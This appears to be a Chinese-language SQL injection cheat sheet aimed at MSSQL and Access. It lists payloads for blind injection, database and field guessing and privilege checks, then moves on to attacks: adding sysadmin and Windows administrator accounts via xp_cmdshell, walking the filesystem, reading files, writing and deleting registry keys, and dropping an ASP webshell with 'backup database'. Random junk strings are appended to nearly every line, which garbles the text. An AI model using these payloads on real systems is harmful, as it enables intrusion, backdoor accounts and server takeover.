1.判断是否有注入;and 1=1 ;and 1=2 62kA(F0e,
2.初步判断是否是mssql ;and user>0 <I*N=;7
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3.注入参数是字符'and [查询条件] and ''=' E@%1HO_
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' ^?_MIS`4N
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5.判断数据库系统 CfO{KiM(2
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;and (select count(*) from sysobjects)>0 mssql z}iz~WZ
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;and (select count(*) from msysobjects)>0 access M1]w0~G
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 nltOX@P-
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 1cx%+-
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 P)LQ=b}V#;
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9.(1)猜字段的ascii值(access) ?&!!(dWFH
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 FRL;fF
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(2)猜字段的ascii值(mssql)
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Vx:uqzw#
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10.测试权限结构(mssql) 2"k|IHs1
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- i!fk'Yt%
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- YzJWS|]
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- :?}>Q
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 3''Uxlo\
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 1NG[
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ,-kz\N@.
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;and 1=(select IS_MEMBER('db_owner'));-- IF@vl
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11.添加mssql和系统的帐户 [,;O$j}
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;exec master.dbo.sp_addlogin username;-- Bs|#7mA[
;exec master.dbo.sp_password null,username,password;-- QxuU3#l
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- RH$l?j6
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;exec master.dbo.xp_cmdshell 'net user username password 6ZwQ/~7H
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- bSQj=|h1
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- il"pKQF
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- t?b@l<,s
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12.(1)遍历目录 L^PBcfg
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;create table dirs(paths varchar(100), id int)
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;insert dirs exec master.dbo.xp_dirtree 'c:\' Jh36NE8r
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;and (select top 1 paths from dirs)>0 ,1.Td=lY$
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) &os:h]
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(2)遍历目录 _PQk<QZ
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ^rO!-
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 }[PC
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 z5D*UOy5M
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 J l{My^I5
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 hSN38wy
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13.mssql中的存储过程 yn20*ix{
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xp_regenumvalues 注册表根键, 子键 cxFyN;7
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 rJB/)4
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xp_regread 根键,子键,键值名 ;!7M<T$&
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;exec xp_regread k9NHdi7&2
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 s;[=B
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xp_regwrite 根键,子键, 值名, 值类型, 值 L)S
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 - (q7"h
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 OB^j
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xp_regdeletevalue 根键,子键,值名 L$"pk{'
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 e?
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 W'Y(@
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14.mssql的backup创建webshell lS!O(NzqE'
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use model `=Bv+
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create table cmd(str image); IJ:JH=8
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insert into cmd(str) values (''); -zzT:C
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backup database model to disk='c:\l.asp'; nQg_1+
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15.mssql内置函数 {h.j6
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;and (select @@version)>0 获得Windows的版本号 <^942y-=
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa 3;!!`R>e
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;and (select user_name())>0 爆当前系统的连接用户 pwB>$7(_h
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;and (select db_name())>0 得到当前连接的数据库 6?JvvS5
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16.简洁的webshell |1e//*
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use model e)87
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create table cmd(str image); $U)nrni
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insert into cmd(str) values (''); <7gv<N6BQf
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backup database model to disk='g:\wwwtest\l.asp';